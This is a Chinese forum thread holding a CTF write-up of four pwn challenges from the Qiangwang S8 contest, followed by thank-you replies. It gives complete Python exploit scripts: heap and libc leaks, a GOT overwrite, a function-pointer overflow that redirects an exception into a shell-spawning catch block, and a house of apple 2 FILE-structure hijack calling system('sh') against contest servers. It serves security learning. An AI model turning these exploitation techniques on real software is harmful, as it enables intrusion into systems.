inkey 发表于 2024-11-13 18:03

强网S8 Pwn WP

新人报道,就简单分享下强网S8的pwn吧

# baby_heap

比较简单的一题,有个libc任意地址写(不能写IO_FILE),于是修改libc的got,让printenv打印所有环境变量

```python
#!/usr/bin/env python3
from pwncli import *

context.terminal = ["tmux", "splitw", "-h", "-l", "122"]
local_flag = sys.argv if len(sys.argv) == 2 else 0

if local_flag == "remote":
    addr = '101.200.33.255 34858'
    host = addr.split(' ')
    gift.io = remote(host, host)
    gift.remote = True
else:
    gift.io = process('./pwn')
    if local_flag == "nodbg":
      gift.remote = True
init_x64_context(gift.io, gift)
libc = load_libc()
gift.elf = ELF('./pwn')
cmd = '''
    b *$rebase(0x1B01)
    b *$rebase(0x1D46)
    c
'''

input_after_this = b'Enter your choice: \n'


def add(size):
    sla(input_after_this, b'1')
    sla(b'size', str(size))


def dele(idx):
    sla(input_after_this, b'2')
    sla(b'which', str(idx))


def edit(idx, data):
    sla(input_after_this, b'3')
    sla(b'which', str(idx))
    sla(b'content', data)


def show(idx):
    sla(input_after_this, b'4')
    sla(b'which', str(idx))


add(0x528)
add(0x5e8)
add(0x518)
dele(1)
add(0x5e8)
show(1)
ru(b'The content is here \n')
libc_base = u64_ex(ru(b'\x7f')[-6:]) - 0x21B110
heap_base = u64_ex(ru(b'\x55')[-6:]) - 0x1950
set_current_libc_base_and_log(libc_base)
log_heap_base_addr(heap_base)

got = libc_base + 0x21A118
sla(': ', '666')
s(p64_ex(got))
s(p64_ex(libc.sym.printf) * 2)
sla(': ', '5')
sl('2')

ia()

```

本来比赛时,想着改point_guard,劫持exit的,但远程环境似乎不太一样,本地倒是通了...

# expect_number

这题也比较简单,比赛时混了个三血🥳



主函数逻辑比较清晰,程序会随机生成运算符号,然后与我们输入的数进行加减乘除

函数的漏洞点在于,保存的历史数据

会产生越界,而改写到别的数据。

恰好菜单选择中4,是通过调用保存的函数指针实现的



越界改写这个为有栈溢出的函数



这个函数当栈溢出时,就会throw出一个异常,而刚好,有一个函数的catch块存在着system("/bin/sh")的后门



于是修改返回地址为该函数try块地址+1,在抛出异常时即可被带有后门函数的catch块捕获到,从而get shell

函数的基址同样也可以通过越界写,然后利用show功能进行泄露

(打的时候发现远程的libc环境与本机完全一样🥰,爽!)

贴个exp

```python
#!/usr/bin/env python3
from pwncli import *
from ctypes import *

context.terminal = ["tmux", "splitw", "-h", "-l", "160"]
local_flag = sys.argv if len(sys.argv) == 2 else 0

if local_flag == "remote":
    addr = '47.94.195.201 30734'
    host = addr.split(' ')
    gift.io = remote(host, host)
    gift.remote = True
else:
    gift.io = process('./expect_number')
    if local_flag == "nodbg":
      gift.remote = True
init_x64_context(gift.io, gift)
libc = load_libc()
gift.elf = ELF('./expect_number')
rand = cdll.LoadLibrary('./libc.so.6')
cmd = '''
    b *$rebase(0x2DC1)
    b *$rebase(0x29E2)
    b *$rebase(0x2B7A)
    c
'''


def play(num):
    sla(b'>> waiting for your choice', b'1')
    sla(b'>> Which one do you choose? 2 or 1 or 0', str(num))


def show():
    sla(b'>> waiting for your choice', b'2')


file = open("./payload", "r")
payload = file.read()
file.close()
rand.srand(1)

# operator_ = {1: "+", 2: "-", 3: "*", 4: "/"}
# randnum: list = []
# rand_operate = ""
# for _ in range(0x1000):
#   num = rand.rand() % 4 + 1
#   randnum.append(num)
#   rand_operate += operator_

# with open("operate", "w") as f:
#   f.write(rand_operate)

# print(rand_operate)
# print(randnum)
'''
/*-/-/*+--*/*//*+*++/+/-***///-***-/-+/*---/+-*+/*-*/++-**+---+/+-*---+/*-*/*+/*/++*++//*/++++/+***//***/--*-+++-+*---+/+-/--/-/-//+--*-*//++/+-//*++/+-+/*-*/-//+++-*-+*++*/+///-/++/-+//*-*/--/-*+//+-++//-**++*++---++/*/*/+-+*-/**-**+-//++/*+//*++*/*---**-
'''

# for i in range(len(payload) - 0x2):
#   play(payload)
# for i in range(len(payload) - 0x2, len(payload)):
#   play(payload)


for i in range(0x113):
    play(payload)

play(payload)
show()
ru(b'1100011001000011')
code_base = u64_ex(ru(b'\x0a', drop=True)[-6:]) - 0x4C60
set_current_code_base_and_log(code_base)

launch_gdb(cmd)
sla(b'>> waiting for your choice', b'4')
payload = b'a' * 0x20 + p64_ex(code_base + 0x5680) + p64_ex(code_base + 0x2516)
s(payload)


ia()

```

# chat-with-me

一打开IDA就是扑面而来的Rust味🤯

好在程序本身逻辑比较好理解



菜单堆题(真的是堆吗?)

## Leak

通过fuzz可以发现,程序show会泄露出奇奇怪怪的东西



```python
def recv_data():
    ru(b'Content: ')
    data = ru(b'\n').decode()
    match = re.search(r'\[(.*?)\]', data)
    content = match.group(1)
    # 将提取的内容转换为列表
    content_list = list(map(int, content.split(',')))
    # print(content_list)
    bytes_string = bytes(content_list)
    print(bytes_string)
    return bytes_string
```

让gpt搓个小脚本,把输出的数据转成bytes







从里面拿到有用的地址信息

(其实可以发现,他分配的“堆”都是栈上的,相同的地址)

## Hack

在edit功能中,存在溢出



动调发现,程序在函数结尾会析构一个局部变量(就当它是string吧)





溢出可以修改v90的地址,以达到free的效果

在这,我选择free掉管理“堆”的堆(vec)





free后发现,堆管理的第一个(index=0)指向的是自身的上方



相当于可以改写自身,同时show也可以泄露出libc地址

这里我选择修改_IO_list_all,打house of apple 2

因为edit的长度比较短,简单风水一下,多次edit即可

需要注意的是,题目说远程环境有点小变化,需要自己搭个docker,修改一下偏移

exp:

```python
#!/usr/bin/env python3
from pwncli import *
import re

context.terminal = ["tmux", "splitw", "-h", "-l", "150"]
local_flag = sys.argv if len(sys.argv) == 2 else 0

if local_flag == "remote":
    addr = '47.94.231.2 20511'
    # addr = '127.0.0.1 6666'
    host = addr.split(' ')
    gift.io = remote(host, host)
    gift.remote = True
else:
    gift.io = process('./pwn')
    if local_flag == "nodbg":
      gift.remote = True
init_x64_context(gift.io, gift)
libc = load_libc('./libc.so.6')
gift.elf = ELF('./pwn')
cmd = '''
    directory /mnt/f/Documents/CTF/glibc/glibc-2.39
    b *$rebase(0x1A90F)
    b *$rebase(0x1A022)
    b *$rebase(0x1A2E4)
    b *$rebase(0x1A4C4)
    b *$rebase(0x1A968)
    b *$rebase(0x1A3E4)
    b _IO_wfile_overflow
    c
'''
'''
    b *$rebase(0x19D03)
'''

input_after_this = b'Choice >'


def add():
    sla(input_after_this, b'1')


def dele(idx):
    sla(input_after_this, b'4')
    sla(b'Index', str(idx))


def edit(idx, data):
    sla(input_after_this, b'3')
    sla(b'Index', str(idx))
    sla(b'Content', data)
    return recv_data()


def show(idx):
    sla(input_after_this, b'2')
    sla(b'Index', str(idx))
    return recv_data()


def recv_data():
    ru(b'Content: ')
    data = ru(b'\n').decode()
    match = re.search(r'\[(.*?)\]', data)
    content = match.group(1)
    # 将提取的内容转换为列表
    content_list = list(map(int, content.split(',')))
    # print(content_list)
    bytes_string = bytes(content_list)
    print(bytes_string)
    return bytes_string


add()

leak1 = show(0)
# log_ex(leak1)
heap_base = u64_ex(leak1) - 0x2960 - 0x250
# heap_base = u64_ex(leak1) - 0x2BB0
stack = u64_ex(leak1) - 0x178
code_base = u64_ex(leak1) - 0x635B0
log_address_ex2(stack)
log_heap_base_addr(heap_base)
set_current_code_base_and_log(code_base)

for i in range(0x80):
    add()
edit(0, b'a' * 0x20 + p64_ex(heap_base + 0x2BD0))
leak2 = show(1)
libc_base = u64_ex(leak2) - 0x203B30
set_current_libc_base_and_log(libc_base)

launch_gdb(cmd)
edit(
    2, p64_ex(0) + p64_ex(0x21) + p64_ex(libc.sym._IO_list_all) + p64_ex(heap_base + 0x2F00) + p64_ex(heap_base + 0x2BF0) + p64_ex(heap_base + 0x2F00)
)
edit(0, p64_ex(heap_base + 0x2F00))
edit(2, p64_ex(heap_base + 0x2F50) + p64_ex(heap_base + 0x2FA0) + p64_ex(heap_base + 0x90 + 0x250) + p64_ex(heap_base + 0x2FF0))

fake_IO_FILE = heap_base + 0x2F00
_IO_wfile_jumps = libc.sym._IO_wfile_jumps

payload1 = flat(
    {
      0x0: u64_ex("sh"),
      0x28: 0xB81,
      0x118: fake_IO_FILE + 0x80 - 0x68,
      0x80: libc.sym.system,
      0x88: heap_base + 0x250,
      0xA0: fake_IO_FILE + 0x118 - 0xE0,
      0xD8: _IO_wfile_jumps,
    },
    filler=b'\x00',
)

log_ex(hex(len(payload1)))

edit(3, payload1[:0x4F])
edit(4, payload1)
edit(5, payload1)
edit(7, payload1)
log_address_ex2(stack)
pause()
edit(6, p64_ex(0))
sla(input_after_this, b'5')


ia()

```

# Qroute

一个使用go编写的程序,漏洞点出在解析ping ip的时候,程序没有判断两个.之间的字符串长度,因此发生了栈溢出

但是go的ROP较为困难,需要恢复栈上很多地址,才能使程序不报错

ROP实现orw即可




图片好像有点小问题(第一次发帖不太会用

Hmily 发表于 2024-11-20 18:56

inkey 发表于 2024-11-14 14:18


你2个图,其中一个没插入中文,我给你编辑了,但另外一个图我没找到正文引用的地方,你看看是不是插丢了。

Hmily 发表于 2024-11-14 14:22

inkey 发表于 2024-11-14 14:18

不是看这里,编辑后点附件,看你上传的内容,你如果没把上传的图片插入到正文,他就会自己放到帖子最后。

Hmily 发表于 2024-11-13 20:49

贴图遇到什么问题了?最后好像有2个图忘记插入正文了还是多余的?

betcom 发表于 2024-11-13 22:34

感谢讲解,但是还不回。

scglfh 发表于 2024-11-13 22:42

感谢讲解,学习到

dankai18 发表于 2024-11-14 01:03

谢谢楼主分享

jiang8888 发表于 2024-11-14 08:39

感谢讲解,学习到

Ken12138 发表于 2024-11-14 08:44

谢谢楼主分享

c1233 发表于 2024-11-14 08:47

谢谢分享

5196 发表于 2024-11-14 08:55


感谢讲解,谢谢分享

ethanlaux2000 发表于 2024-11-14 09:13

感谢分享,学习了!
页: [1] 2 3 4
查看完整版本: 强网S8 Pwn WP